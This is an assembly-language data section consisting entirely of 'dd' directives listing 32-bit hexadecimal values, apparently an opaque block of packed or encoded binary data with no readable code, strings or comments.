dd 1DD87D89h, 59226421h, 0AC1F34F8h, 0F60080E0h, 528AACBh
dd 0BCD400C8h, 0B3E81662h, 0BE002B24h, 0D01EBA19h, 7E33D802h
dd 2C050049h, 0EB63D759h, 32002126h, 0F21E6FCCh, 2C1CC851h
dd 8E0BF7h, 2331716Ah, 600159Bh, 0E14CBA84h, 0D2CBFAh
dd 0CE2824Bh, 779808DAh, 9A0B2700h, 3B42D6D3h, 9FB0ACh
dd 6759C2C8h, 5CD42630h, 9600DEFAh, 1B88CCE8h, 0DC7EADh
dd 50E94151h, 0FBFE7DBh, 0BCDE6300h, 440C70B1h, 94EF0361h
dd 0A82414E3h, 2010709Fh, 0AC0040B0h, 39B481B8h, 0F85BC5h
dd 0B6BE24FCh, 0DC224972h, 20581D73h, 0A4AD004Eh, 19FA1E82h
dd 0E00200B8h, 0B449DC3Bh, 0D2732D16h, 36C5Ch, 71CF4691h
dd 28AC29h, 2EB6704Fh, 0BE18A867h, 9AC3B216h, 6900911Fh
dd 22291646h, 24AD0164h, 0D81B996Fh, 0B6E0DE51h, 505BAA8h
dd 64F9E3ECh, 0F195A50Ah, 54189107h, 8F200DBh, 1FD84293h
dd 814EB914h, 89D2D0B2h, 0CC1C9E64h, 988603FDh, 0C80A91D9h
dd 53AE5Bh, 175874DBh, 0EF0B4A4Eh, 0FF9CF018h, 0EC7552h
dd 185F8068h, 0F4E363C1h, 0E02BA00h, 1E4E1077h, 0E48C01AFh
dd 18A7F660h, 2030D914h, 0E1752A88h, 4C7C7175h, 0FA80DC01h
dd 820643BAh, 8C68DCh, 0B33242Bh, 2CD247B9h, 42621900h
dd 0C9DC21AEh, 0CED72673h, 0B2900085h, 430C967Bh, 7D3C2D7Dh
dd 8010B977h, 22FFD392h, 0C08368h, 0F31FB078h, 0CEDBF603h
dd 0BACF1B00h, 40AF3F13h, 87B600B2h, 0D7E7F40Bh, 4C0092DFh
dd 11D46D0h, 0F87032h, 0F4F15DD5h, 0EC933C2h, 0A9CAD200h
dd 29AF6A84h, 2A811238h, 0C3050102h, 0C9109E43h, 8722703Fh
dd 0F5933Fh, 8F060F38h, 3BE30811h, 1680FA0Ah, 0B4F845B7h
dd 3900EBC8h, 0BA9B6BE7h, 2ACB0Bh, 7CB091E6h, 5C0E479Ch
dd 79535400h, 694C0901h, 31500062h, 736DC81Eh, 0F3030C5Ah
dd 0FF2593CCh, 1D8BD856h, 0A953023Eh, 7D04BFD9h, 95746240h
dd 75EFFB0Eh, 1A02610Ch, 81F59868h, 8BECF4h, 0EB124DD3h
dd 0EECFF34Bh, 5F4A4800h, 0FC555280h, 25C13BB8h, 934BE880h
dd 0D01603Ah, 9F761C00h, 45283EE9h, 0A9440006h, 2714914Fh
dd 2500F823h, 0E5EA6BABh, 7421396h, 124756DBh, 6CD18053h
dd 78001B76h, 9CB9A1C2h, 28D745h, 954E4F1Fh, 0AC841D68h
dd 2299A200h, 0DFE68B71h, 903A7896h, 645C00D7h, 0D98F04ECh
dd 51007509h, 0FCF01440h, 0ECEBB2E4h, 8C5B015Fh, 8464BDFh
dd 63DECE6h, 4253B00h, 0DB19C1D0h, 0EC0200EBh, 78B9F6FFh
dd 2D000DF7h, 2CC4F43Ah, 0B89DAAh, 3358DD7Bh, 20BEC529h
dd 624CB207h, 145013E6h, 35BE82Dh, 8DB86104h, 80EDAD2Fh
dd 6890DD1h, 4938F800h, 5328BAC6h, 0CB150A91h, 0AC318Bh
dd 3FB833Fh, 0C006076h, 9BE848D2h, 24C518h, 9C098940h
dd 0B01F0456h, 7E2B1425h, 9A8D00CDh, 0BA1A8626h, 0E6313800h
dd 0F4C2CA93h, 82240394h, 29B2F972h, 0AF051B0h, 26DB2200h
dd 9317E83h, 0F22B3D74h, 0A54E7980h, 9B20B425h, 874F987Fh
dd 1A2C4DBCh, 0A9C70040h, 91DC45C9h, 804D073Bh, 8A032D2h
dd 7C701094h, 0E4A82C5Ch, 85E80085h, 38BFB2B0h, 5F8BA400h
dd 14AFB7D6h, 98C800BAh, 85903B8Ah, 0FF002175h, 66FF9BCh
dd 4C4E1E96h, 61008BDEh, 122BC667h, 0E8FBF687h, 9F3C1043h
dd 0B2B78B55h, 0A08F006Fh, 29EAA5h, 0C4363240h, 212DB350h
dd 0C671F39h, 0E2E165Ah, 22F86Ch, 0D23CD34Eh, 0B8F84883h
dd 0A1B301Ch, 90167343h, 0B40CD8C5h, 0B2440013h, 573ED36Eh
dd 0F00F6A5Ah, 2019BD4Ah, 43E0C8E8h, 12532E4Ch, 295C0097h
dd 73D06630h, 2C03B3F0h, 2116D3A2h, 545B8D8h, 0FFDD00D2h
dd 0C743759Ch, 0A90E1048h, 0AF490F26h, 5C6E05ADh, 0AC0C0680h
dd 7C477574h, 9251EE4h, 37B30FB9h, 0C26308A7h, 8940A2D6h
dd 0FAF2A4ACh, 2F3E2CFEh, 0BACF3976h, 0E08480A8h, 0B5165CB3h
dd 63210069h, 0ECFC6579h, 9400478Dh, 542DF450h, 7F5ABAF0h
dd 65B60026h, 0D04351BFh, 0C6000AB2h, 2B610B8Bh, 0E1B510h
dd 559D8A6h, 0E6A8C4Ah, 0B7D49C00h, 0BCCDA06Bh, 7AC40E11h
dd 9A6FA3B5h, 70F1DBC7h, 6EC2AA1Bh, 7D549D00h, 83DE9ECFh
dd 4D7B00E2h, 5290E3C8h, 88042345h, 0EC44B581h, 394F73C0h
dd 0E483902Ch, 0FEC400B0h, 53859586h, 0B3D199Dh, 8492D00Ch
dd 0B85D3207h, 89C9B412h
dd 26AA00FAh, 82EFF4h, 51CE7D8Dh, 0FDC39257h, 6642411Eh
dd 21F34C47h, 387EBC7Ch, 0BF00493Eh, 19EBE8D2h, 0A800C3BEh
dd 0B48EA30Eh, 9E2FACh, 1DA6759Fh, 42485536h, 62034BF8h
dd 0D89B545h, 44A9D06Dh, 0A5CE0191h, 22D725BFh, 0B8AFC47h
dd 0AC644A00h, 0F819F669h, 0A829001Ah, 0DF54E20h, 7BB8BA2Ch
dd 3F6051ECh, 0BE80D616h, 105E0BB9h, 28808875h, 0CCAB85FBh
dd 0D6502607h, 0E71FE031h, 558044BEh, 3E25D2F4h, 74047864h
dd 0C0A040FBh, 0F02E13D3h, 0D8482AE8h, 48CD0076h, 9559B745h
dd 0E2050078h, 0C1BAD5B8h, 5400F8DCh, 0E18ED34Ah, 2EC4694Bh
dd 0C19062h, 88792B52h, 650078BFh, 80C1B0B7h, 107EBh, 3A740472h
dd 7D956E67h, 755CE9F8h, 1451006Ch, 9EE325Dh, 0E590028Ah
dd 4DD78970h, 0BE81D489h, 0D804B84Fh, 1E00FDA2h, 0A1383652h
dd 20E6305h, 1D451723h, 0DA401929h, 92FE8048h, 0F104741Dh
dd 0FDA5E7C0h, 7CDE4F4h, 0F00693FAh, 0B92F9061h, 0BB00793Fh
dd 4A97892Bh, 1835B59h, 8E1CC778h, 700AFB45h, 0C90013BBh
dd 4B7E0D0h, 2659FA5Fh, 0DE010Dh, 0E7557C8Ah, 0E8074284h
dd 5319A76Bh, 0FF046FE0h, 57933E8Eh, 0C85A1A00h, 8FB083FEh
dd 0A7E2F03h, 9880E10Fh, 0F94594h, 15086EEBh, 81C49610h
dd 67D38600h, 0A528F895h, 0C5AD1F41h, 0FE830001h, 0FC457E02h
dd 0B000998h, 3E7DF03Bh, 0FA4178h, 0B838147Fh, 48A08203h
dd 0D4287528h, 2421F800h, 0B1541A22h, 102EC84h, 0AFFB672Dh
dd 60DC68C2h, 0F4CF45Dh, 80553EADh, 0B9368BC5h, 3CD20873h
dd 0B897304Ah, 0EE8800A7h, 0E4C16D7h, 616C4300h, 1C8E3373h
dd 0C8460048h, 0ACA754D9h, 0F03E8B0Ah, 347D80CAh, 24B50CE2h
dd 0B8A20F44h, 0B9C0233Eh, 847252A4h, 0F414D005h, 2EC003F9h
dd 1326FE9h, 36FFC327h, 30E025E2h, 5C484A69h, 7CBC000Fh
dd 0A72B20D1h, 99D4004Ch, 6BBAAAC4h, 0E4E5E749h, 0C6F40FB2h
dd 0DDCAEF01h, 0CC563334h, 1845CE8h, 0DC60FC27h, 0F42D4628h
dd 0BE4A2FFh, 88008398h, 3B633169h, 7FC99E21h, 0F9E5000Ah
dd 4E47C14Bh, 0DB98DB75h, 0A95B1207h, 0CCD0CF69h, 0E8BAB113h
dd 95030097h, 20F1407Bh, 2300DC4Fh, 12C0262Eh, 0E738EDD4h
dd 36C85E8h, 0F575A8BBh, 0BE88A9B0h, 7276CF3Eh, 0D68A4200h
dd 0C8F8910Eh, 8D8E00DAh, 7DD2DC70h, 0D77B86F2h, 4DCB30EBh
dd 3E73E700h, 1B094892h, 0D67B16h, 0BEB5205Fh, 6F67699Dh
dd 2F652500h, 7BBB7389h, 997200B6h, 622ED8ACh, 5C00F814h
dd 2DDAC408h, 7FF5BD48h, 0AF250085h, 0A5134D98h, 4C0EC6B7h
dd 0AEA4772Fh, 1174A03Dh, 0B239CBh, 0EB057D0Bh, 0FF35EFAAh
dd 4831B800h, 84D4295Dh, 34FC0064h, 62B995EDh, 0A800CBF8h
dd 0D88831FFh, 0E4870803h, 4498004Ah, 0F2750F45h, 0C40043A3h
dd 528EBCF0h, 7FB58B5Fh, 4D85006Bh, 4EB8BD7Bh, 22606CBh
dd 7500DB83h, 49975E77h, 50032429h, 94C60329h, 0CEFBECC3h
dd 0FC7B0A00h, 0ED45AA09h, 64407A7h, 906A1863h, 86D89A3Bh
dd 10AE7B00h, 2474DC2Fh, 1D1707D9h, 0FE201319h, 575AA00h
dd 0AE000AC5h, 5EEEE674h, 3F105CB0h, 34818ACCh, 0BA169DF8h
dd 0BC59C0BEh, 0E484261Eh, 5B008B1Dh, 438AC268h, 0F88807BDh
dd 5728D152h, 42D480A4h, 1C002521h, 890F0C4Eh, 533F43h
dd 8FB64B8Eh, 0BD91C52Eh, 0AD3AB200h, 0CEE9143Ch, 66D6001Ah
dd 5161DA4Bh, 1FA109Dh, 0BEFC8A07h, 85308F58h, 79A8D9ECh
dd 5F72014Eh, 3DE45570h, 79F0F430h, 3F538B01h, 0D0CFCC9Ch
dd 0D37330h, 68F810D9h, 21BE42B8h, 0D611EC00h, 0F49061DFh
dd 0ABF300E5h, 0FA649793h, 0AE7637F5h, 0D3742000h, 4E030688h
dd 63C817ACh, 43030004h, 79FA013Eh, 575D9600h, 0CA974E39h
dd 0E0C7007Ch, 9E14998Bh, 5E0080BEh, 0F1E95C9Ch, 79413F4h
dd 16DF95E3h, 824485DAh, 20614BECh, 7C8DE00Dh, 1D4C2005h
dd 78C749B8h, 6307C2F0h, 6240F8Bh, 0C5D404BAh, 0DABF3000h
dd 8DFB0228h, 0C540EBA0h, 8A998100h, 0C2935E50h, 25EA3A6Ch
dd 0D530B700h, 0CAC0237Ch, 25F74Ch, 0F64C9B90h, 0B00507h
dd 0AFECE901h, 0D854DF4Dh, 0B72D8800h, 0EF3364AEh, 35D01A0h
dd 9EEDF49Dh, 283C3043h, 48080400h, 200C112Ch, 10440114h
dd 66D38318h, 0EF0AEC3Ah, 0EB851200h, 0F0335346h, 811E006Eh
dd 2E3A4D09h, 2A007586h, 144642A4h, 12711821h, 0FC7AB5C7h
dd 0AB770029h, 4163094Ch, 0B642039Ch, 747B7540h, 66B8DCF3h
dd 0C300DF29h, 2CBED669h, 39B467E3h, 721B5348h, 44E81EA2h
dd 8013BF7Bh, 0B700E99Fh, 45DD2609h, 600400F3h, 50520717h
dd 0AE8E2ADh, 0E8813B1Fh, 0DA097540h, 5A9780h, 7B517358h
dd 7D0CC5EBh, 257A4B00h, 0B5A81221h, 0B44A00D4h, 0B3F7949Dh
dd 8F00BB98h, 51057724h, 49BAFFh, 88B04876h, 427A92A2h
dd 0BF01EA07h, 7570E579h, 47C589h, 0F441A74Ch, 0DC867FDBh
dd 0DB80600h, 0CFA4D27h, 0FE88002Bh, 0F0FBE82Dh, 0F33E9752h
dd 0F4007FDEh, 13B2F628h, 306614A9h, 602AE89Dh, 32037273h
dd 85FC15C8h, 610AC0F6h, 1E760314h, 0F421FA12h, 0E05816D1h
dd 0C004277h, 0A771AE9Eh, 0B05259DCh, 0F24C00D5h, 8B518968h
dd 7C00C53Ah, 45491926h, 1602546h, 4CBAC38Ch, 0DCB49535h
dd 0F7F420F8h, 4301200h, 16344828h, 1F722Ch, 93FC4978h
dd 9A2F58A0h, 0E50011Ch, 13C93840h, 3D907F10h, 0C03E53EDh
dd 3B46F200h, 0C4972CEh, 1220E002h, 0E00161C3h, 72BE1B3h
dd 53449FD0h, 86260E8h, 5AC07473h, 0FA9DD29h, 0D5800714h
dd 0A0240BC9h, 4519127Bh, 5A588402h, 0E046A00Dh, 23F1FDh
dd 76EB3B32h, 0C409FAEh, 101DC3ECh, 7CC0C62Bh, 7B80287Dh
dd 75242789h, 0E400395Ch, 98BE742Ch, 0E2F5980Dh, 0C7493h
dd 0C3401D16h, 0E00355A8h, 840F9E00h, 0CE3285BCh, 1404000Ch
dd 18151048h, 0B975A775h, 7208F600h, 277C432Dh, 28393A29h
dd 0BF1C4412h, 8A0EAA01h, 1EE4957Dh, 0CB42004Ah, 1CAEA9F6h
dd 5E079849h, 8A215350h, 0D45BCFF0h, 0A02A3969h, 4A61804h
dd 0B100EA42h, 0E790B0C3h, 0A51D0075h, 74349119h, 3B002B85h
dd 47763196h, 0CB92Ch, 97AF2F1h, 0F31CC624h, 8806BB1Dh
dd 7542AF00h, 0F9CEC937h, 83C6DAC3h, 7ABD32A2h, 339000B6h
dd 681574C5h, 0C8480C2Bh, 76193C00h, 8B0FC0FBh, 1DA6CE00h
dd 0AFB13B25h, 0C3EA004Ch, 0C0C8E985h, 0E8FDDA68h, 0CAC018CEh
dd 0F0141BAEh, 810B00A6h, 0F73002B0h, 71009735h, 88930839h
dd 2E03117h, 0EA1052Bh, 14409601h, 0E11EA4A8h, 4AA6C44Eh
dd 75027600h, 24B82Fh, 0FA4CFD63h, 930447B5h, 27F22000h
dd 21AF7819h, 1C080037h, 0E5365D8Ah, 0C4005523h, 2D839040h
dd 6E9F18h, 8568A120h, 512C250Fh, 8CE2A803h, 0C01015C4h
dd 1D08F9D7h, 0CFBFF4h, 0F7B0A16Eh, 75078268h, 972CB815h
dd 9167AB30h, 96B438F3h, 3043D001h, 0F4C54C16h, 6400EC7Eh
dd 0EF560441h, 7102C7Fh, 6032C824h, 68C0DE09h, 70916C48h
dd 54770271h, 0BDB0901Fh, 22C81FBDh, 15E2E100h, 2CF0CC2h
dd 4409F806h, 0D7C0086Ch, 313F744Ch, 32D08303h, 0EB3FC618h
dd 64C4A030h, 0FA88E66Fh, 80330031h, 0FD98C81Fh, 0FCE5FA10h
dd 0E8FAC1D9h, 1EF7620Fh, 22C780DCh, 6E342174h, 0B8010C6h
dd 0A478B341h, 5000307Bh, 0C81EF9C7h, 1089264h, 0E4CCA02Fh
dd 0E0D3ECC1h
dd 0CE20431h, 0DC109400h, 5FC86070h, 524F1F58h, 7836C026h
dd 0EC6CBC95h, 4EEE4B0h, 80EF1B0h, 20118F0Ch, 0A052431Ch
dd 0E06B25EDh, 64132BFEh, 54B07F01h, 0A02F8625h, 0A12C252h
dd 35030FC3h, 85E36798h, 0E8F980AFh, 0EB003AF9h, 1C8B0104h
dd 4CFB8688h, 6F486EC1h, 8A058902h, 0BDE07549h, 44073848h
dd 3B431513h, 17CB0F30h, 9DF50120h, 0FA5F7442h, 5DD82046h
dd 0FDC64A00h, 13BC4F03h, 7406003Bh, 33D0FCF3h, 5800C909h
dd 67E47BE8h, 98E28025h, 0DB2000D9h, 0F1844E1Bh, 17039A7Eh
dd 9CEA6523h, 0CBBCC85Fh, 988E000Dh, 0B5FB0444h, 96002B84h
dd 487107BDh, 7B5806A0h, 7021004Ch, 54400F50h, 2301FEE3h
dd 0F7EBE8FBh, 3D5ECD5h, 75045F60h, 0E0CF003Ah, 0EDE7C1F9h
dd 0C700E9CCh, 8DF5C378h, 2523FB18h, 1250EC0Ch, 0BEE2418h
dd 1047AD4h, 0F8F5C7CDh, 0D8073A9Ch, 0C302E0E8h, 0F918588Fh
dd 0D952C023h, 8AFA1C9h, 3CF7E6C4h, 0DF0394DBh, 0FF15EE33h
dd 2EF82F22h, 0E45ADF3h, 3E07A01h, 3A96B3DFh, 0EB981307h
dd 0DA900B0Dh, 1F437329h, 802BB61Bh, 3B887410h, 200758C4h
dd 14428C8Fh, 2C915477h, 23E8463Dh, 72510118h, 741CAF94h
dd 2089E8F8h, 0BE210B3Ch, 687702C4h, 0F70EC859h, 0A8289300h
dd 2C0489E6h, 0B703841Ah, 0F8589383h, 0EE8885C5h, 34C40790h
dd 0AE423C2Ch, 622025CFh, 5A193538h, 4A14AF7Ch, 0BB6CF74h
dd 83FD0CA5h, 80A89195h, 0C5812Ah, 5A827999h, 7FAE037Ah
dd 0CCA24200h, 369D86EEh, 0C8C00B7h, 576AF8CDh, 53012910h
dd 4205208Bh, 5460CAC9h, 52C63F1Bh, 0CCE90C00h, 29206A15h
dd 0C897D40Fh, 0B0178709h, 0DDA905D1h, 320B8CD0h, 30500DA3h
dd 20EF0Eh, 2E841343h, 342200A6h, 46A2F82h, 8800A495h
dd 4178C646h, 91085B8h, 436DAC14h, 0A16A1787h, 2AB47023h
dd 0A9ED6FB1h, 2E80A745h, 0F286D2E8h, 59FCF3D8h, 11A7EEAh
dd 2B1864E5h, 30C3113Ch, 2330B9CFh, 0F4284214h, 0AA4D3B21h
dd 44A45309h, 76D200F7h, 0F87C84A7h, 56A80027h, 0E2C78E21h
dd 1401B989h, 0B5B21C42h, 22D04334h, 64B0B8h, 0EC1BF1A2h
dd 831F3C32h, 0C7813A07h, 6E10D9A1h, 0B533FE9Dh, 0BA029482h
dd 279955E0h, 58C84200h, 601F5389h, 4FE91F3Ah, 8FAEC3ABh
dd 22960940h, 1C5C20h, 0A56CE907h, 67B88D34h, 14D60818h
dd 3E02D31Ah, 0E987ABF0h, 800F7BB1h, 94E21A11h, 437C9C00h
dd 0C4A3887Eh, 0CB381F28h, 64BCDE8Dh, 0EE80751h, 750B0C8h
dd 0F39087ACh, 8BFA683Ah, 0FC91F08h, 4347E700h, 275FC4F7h
dd 21171432h, 34D1A6D0h, 5A83EC0Ah, 767AC0D9h, 9B12B2BBh
dd 6D002C31h, 62B444C3h, 4314001Ch, 4152A2E0h, 5100C2E9h
dd 0FF33F81Fh, 3F990h, 52EE5D7h, 5EE2C189h, 527C4Ch, 12414B4h
dd 348504Ah, 4C425A06h, 84C37210h, 0B3EF54B0h, 0B8278000h
dd 78DA756Ah, 0FB482EE4h, 0C08A1EC1h, 19BC4BE0h, 96004022h
dd 0F0C747D8h, 230148h, 0E676045h, 0CDAB894Ch, 50EF4000h
dd 0BADCFE08h, 0E54FA98h, 10324476h, 0E1F05800h, 8100C3D2h
dd 22EEEF5Ch, 3600EC0h, 0FEDCBA98h, 10E06480h, 8901ABCDh
dd 45676802h, 6CC00123h, 2D1E000Fh, 0C0333C12h, 9300ACE1h
dd 0B6EC53D9h, 7C5BC66Eh, 3FE03B18h, 3440702h, 7E08008h
dd 7E0038F8h, 2B6FA81Eh, 18D6BD0h, 0E633F525h, 0F4D553DBh
dd 1A007E29h, 761451FFh, 311E95h, 0FAE0C183h, 0D82F707Fh
dd 800CB338h, 146C6BDFh, 0EA9AAC55h, 8BFC40h, 0DD8192C4h
dd 7245618Ah, 95D5BE00h, 552DD3FEh, 0D9340019h, 7B816A09h
dd 0ED28777Eh, 0E503A96Eh, 5E76013Fh, 3520D7FAh, 7B74BF54h
dd 0DF3B07FDh, 0A08D107Dh, 28BD3F2Eh, 80CB2A3Bh, 0AE4FEB24h
dd 24A91229h, 3B51064h, 0DF2B8DC6h, 283CFCD8h, 0DDE6D41Ch
dd 0E803C000h, 141BBD9h, 62C2BD7Ch, 20831D98h, 0EB00EAB3h
dd 8CFB069Dh, 4DEC7Dh, 6FC56A03h, 67FF6951h, 0BDA71801h
dd 86B62C14h, 0E46A1670h, 0E4E80009h, 44A224AEh, 3105BDBAh
dd 0CBDB0107h, 0F9FBB080h, 0E16600FAh, 85B75639h, 0AF005DE8h
dd 0B2BD334h, 48CAB4h, 0F93C0C20h, 0F3E97CCBh, 808CF503h
dd 0F07013DBh, 692124h, 4C33A91Ch, 0F101188h, 0F87C7E0Fh
dd 7DAB40FDh, 0BDCE17h, 0A9F047C1h, 234E9C24h, 4BE2600h
dd 81664CCh, 30F070Ah, 0B3AE9FFEh, 7CC0AF60h, 8C02A1F5h
dd 4610DE70h, 6714C1BEh, 147870h, 87C62A01h, 52F13547h
dd 34978C00h, 90CC8523h, 13040018h, 27A83046h, 40077E58h
dd 9510011Ch, 0D921FDB0h, 0BCAF0390h, 98D88020h, 4369080Fh
dd 0C4D2C0FCh, 0FC2428F3h, 7AF701AFh, 0B0E48C44h, 0CDE49D87h
dd 0B10387BFh, 83DBFF5Bh, 0F00FAAD8h, 24BE022Ch, 1E905CD7h
dd 3B10C065h, 30C485BFh, 11220107h, 88506B90h, 7F5E08B0h
dd 1C7FFC42h, 3472CDh, 0FD987193h, 0AF07468Ch, 38519D88h
dd 79438E00h, 21A60742h, 0B3CF9C0h, 7BB40601h, 0F1E9E849h
dd 0F2C2BE0Eh, 25620004h, 0A8F61Eh, 4518E869h, 58C4CB1h
dd 0CE0D8007h, 40BE408Eh, 0C050B372h, 43290069h, 0A1785CB1h
dd 5D1CCE2Ch, 5100E68Ch, 0DD265E5Ah, 0AB5539D2h, 30147681h
dd 608C04C0h, 120011F0h, 0AA984ED3h, 4CE9B640h, 9600D7D2h
dd 97801DCFh, 0FB017204h, 290C0514h, 5DC0F28Bh, 0D62F3010h
dd 9888A3E8h, 285138h, 42441453h, 0BB42302h, 5729B7C4h
dd 0A1E66601h, 99E5F0D8h, 0BBB8B00h, 0C8982093h, 40D300FBh
dd 0B21008E7h, 3504E924h, 8C2B46DEh, 95C05285h, 721E1CDh
dd 1EB22FC2h, 82BA79h, 710D638h, 8478C337h, 43126CFCh
dd 7C00CF47h, 0D50D8708h, 3E71EAF4h, 0C18F42ACh, 4E01017h
dd 455A14EDh, 623094FCh, 2341B6Ah, 63E90205h, 0BB198C6Eh
dd 44B0D5C0h, 0F8010803h, 0B0FCEFA3h, 1C108FCCh, 1CA2CFh
dd 676F02D9h, 0C09FD81h, 0E485D3h, 2A4C8A18h, 1F20EA8Dh
dd 40F608B3h, 420490EFh, 0FF7BFA39h, 1711A100h, 2BA09DC2h
dd 8AD01C3Bh, 0F6E4C1AAh, 0E0877129h, 0B3006609h, 0B40B794h
dd 7D04C55h, 6122E02Bh, 856DA39Dh, 0E2B5ADD0h, 700E1000h
dd 0C0738A2h, 0A0E50045h, 0B34EA61Ah, 170E232Ch, 0E0330981h
dd 0BEEA44C1h, 845801A4h, 0BF10879Bh, 0A9A940A2h, 4B2EDE72h
dd 0D9895611h, 60C10744h, 0A9F6BBA3h, 9A20AE09h, 70020728h
dd 51BEBFBCh, 401FB42Ah, 7EC604A4h, 61289B1Eh, 110BC340h
dd 993D143h, 27FAEF41h, 83488E82h, 1641A1E2h, 1BCEFC5Ch
dd 30850400h, 8C0AD4EFh, 7FF9083h, 1D100518h, 0AD21F088h
dd 39E024F9h, 46D4D00Fh, 0C4A240D9h, 18874C6h, 9914E5CFh
dd 0E084E6DBh, 0E003D1F1h, 0F43C200Ah, 1FA2A07Ch, 0AF103F21h
dd 65000838h, 0C440AC56h, 0B5714331h, 44E64101h, 86F42922h
dd 0B9D15F4h, 0EE5BCC0Ch, 2063F00h, 0B924D249h, 97000185h
dd 435F2AFFh, 0BF60041h, 4AB278E9h, 0A002087h, 0C9D2682Eh
dd 0F223A770h, 0C59094h, 15D01747h, 0FC889ECh, 0A2111013h
dd 0A0398E00h, 0E03093h, 0D27E6AE9h, 90E804F0h, 9AD8C400h
dd 280B8115h, 0C3E00055h, 65405B59h, 8C1FA5A1h, 0C40D544h
dd 0EACC9280h, 0F71988Fh, 0F4E4B304h, 7D818EBFh, 7EA1EFA9h
dd 31D1B127h, 205DCD3Bh, 0A0185A3h, 1C109E42h, 0AE30B8C5h
dd 0B07E744Fh, 2D233FF1h, 0D361E204h, 0E064C039h, 463F2CE6h
dd 42900FFEh
dd 0F959A280h, 1ABE060h, 8CAC3AA3h, 34B2B380h, 8D2A107h
dd 96044E00h, 9017A832h, 1F82EE10h, 82F7537Eh, 0ED4254B9h
dd 0F235C968h, 30BD3A00h, 8987B41Ch, 0E5D4000Ch, 0D2BB8211h
dd 0B0092AD7h, 0B23F8Ch, 90C052BDh, 0D39100C2h, 0BAEB8637h
dd 260ED7C6h, 0E0F8332Dh, 0C78C9B61h, 0B7D600E5h, 0B6FEF463h
dd 0E40E2FB4h, 0C1A74A74h, 2E4051E2h, 0F91BF4h, 641545Ah
dd 7CFD5852h, 0A64ABE05h, 0FAFC3Fh, 11A7B4EBh, 0BBE40B20h
dd 0FA44D400h, 2DBEA4FEh, 921600EEh, 7F2A85F8h, 0F5504890h
dd 0D7FA4485h, 0B901FA71h, 78EA10F6h, 72FCFEABh, 0AE6E9h
dd 122B29E7h, 60C4F108h, 0BCE87300h, 4C46DA9Dh, 3F97F51h
dd 85D53A97h, 0CB8238Ch, 0C800EACAh, 4A1FE97Dh, 1F4C37C7h
dd 4E1411F8h, 0EA832BFAh, 0D7D07881h, 100F598Ch, 67AE5087h
dd 49001E97h, 3F8A5CD5h, 0EB302BFBh, 528CDF2Ah, 80D7143Ch
dd 8A2B5A3h, 58D59502h, 17BD71Fh, 7E2B3CCh, 0DD6C1904h
dd 1CC8F842h, 0F23EF7FAh, 76173E09h, 88938750h, 0E6EBF600h
dd 0CED7A742h, 0DE20691h, 52D63C02h, 7A84280Eh, 800E83B6h
dd 0E487D866h, 0A304002Ch, 810F38B4h, 8EDF1B11h, 230B280h
dd 71CB5CEh, 8D1A0640h, 59A08F88h, 46CD1834h, 720C81Dh
dd 8D001913h, 1709403Ch, 0F2D73B43h, 0B7511081h, 0BEE2AE91h
dd 0F8138014h, 423B33B4h, 647E01A2h, 0B86D6F6Ch, 0BA8FF0C8h
dd 307286E4h, 9223F902h, 60D0EA4Eh, 8CC9D6h, 2E1037A9h
dd 0EF4AAD6Dh, 0D7BDC400h, 0BE76FA22h, 0C1EA07CFh, 0C0346437h
dd 508B20Dh, 0FB2F180Eh, 9E6C4027h, 0A54AFFh, 6DB69773h
dd 481A0D40h, 0B807D800h, 0F2A29DFEh, 12A30017h, 2F283791h
dd 0B0FCD6Ch, 58D85380h, 0A0A34EC0h, 0A4E218B8h, 469900C1h
dd 0CA9DC4D8h, 85A03C62h, 99A11907h, 0D4D9F4D0h, 0C374C00h
dd 9ECB1393h, 0A0ADFCAh, 0EA21E30h, 0F8E03321h, 3887A42Ah
dd 0B688472Ch, 7EDF651Eh, 0CF0561DFh, 5C81E551h, 9BF0ACC4h
dd 0B0110013h, 0F21488CBh, 623EECC5h, 814DBEE3h, 0C937E794h
dd 0B1DC3C08h, 45FA3EF8h, 386412h, 0FCDA4642h, 0A54C433Dh
dd 0DF10709h, 0FB17701h, 38EC74C4h, 7C8B020h, 6214230Ch
dd 1CE5E0BFh, 1EE24EA7h, 0A5B4E904h, 0A3C0FBECh, 0C0E3CCC6h
dd 15490BCEh, 0F201B10Fh, 0D32472DAh, 4FEC5AB7h, 2CFE2Eh
dd 0C4CCF988h, 0D613080Dh, 953B9D01h, 0F234675Ch, 4E0360h
dd 0CEA71FDBh, 85719C1Dh, 0BB8DE805h, 98063CCAh, 3228025h
dd 776E2713h, 0A6C8E802h, 3300E90Ch, 0BE58C95Bh, 0F9485DBh
dd 0B3A1FF3Ch, 46C508E0h, 0E004CCDh, 0DB4AF1ACh, 1F5EFA2Dh
dd 40F810FFh, 0C48773AEh, 4400040Fh, 8233FDCh, 0FBC8C42h
dd 78C21259h, 1C941F60h, 0A472A7FFh, 81086809h, 0BD9D0718h
dd 943FA2F0h, 0B1213FFEh, 0CEC303FEh, 0A9DFF9C9h, 0DCEFE2D8h
dd 18471605h, 0C0AEF684h, 6A1A04A3h, 0F1342100h, 0DD4C0105h
dd 2CC82E0Fh, 85BD015Dh, 0EC210C11h, 0A7714F9h, 0A4A87D01h
dd 0BBA135B2h, 71838F0h, 0B0FF28B5h, 0C211E042h, 54888CFh
dd 0EEB100EAh, 0EBF209DDh, 0DAD8030Bh, 0FA9424A8h, 2EBCD007h
dd 0FED08F1Bh, 0B817F9h, 0B03DEB97h, 712F374Dh, 0DE4CAF00h
dd 0C2E70722h, 0E6F80023h, 0BEE5C79h, 370034F5h, 811009CAh
dd 3AF0B9DEh, 7900F923h, 0D097E882h, 68485B8Ch, 1DA500E1h
dd 0DECA881Eh, 7B910F4Fh, 24A0B609h, 298C47E9h, 54A43724h
dd 12080E00h, 0E601D9h, 0A9ED2116h, 2C7920C4h, 22F93109h
dd 0A0538913h, 0DF42623Ch, 5A1048BCh, 9A11080Ch, 4E00AA10h
dd 26E929D1h, 1F8A9313h, 9EDD8444h, 0C910008Bh, 3F0CE2AAh
dd 0E003A390h, 1CAB825Bh, 9F019547h, 3CE8C23Eh, 8006569Ch
dd 21AFE078h, 0AD765838h, 0BDE28D00h, 490D71D2h, 97134C34h
dd 58E0F0C0h, 199AABDCh, 3900DF90h, 2CE127C4h, 0EAC4313h
dd 0FBF20888h, 0A3C0D2E0h, 2E00FD4Eh, 0E46FA953h, 22CFEEh
dd 3EE18417h, 323F293Ch, 0CB6EAE00h, 0B8D30804h, 174B8F5h
dd 0B7E1B00Bh, 60332A3Bh, 1201E883h, 7204BFF8h, 1BD00506h
dd 5CF6006Ch, 4AB73BE1h, 0E8006133h, 6E75ACEBh, 0FB4ED472h
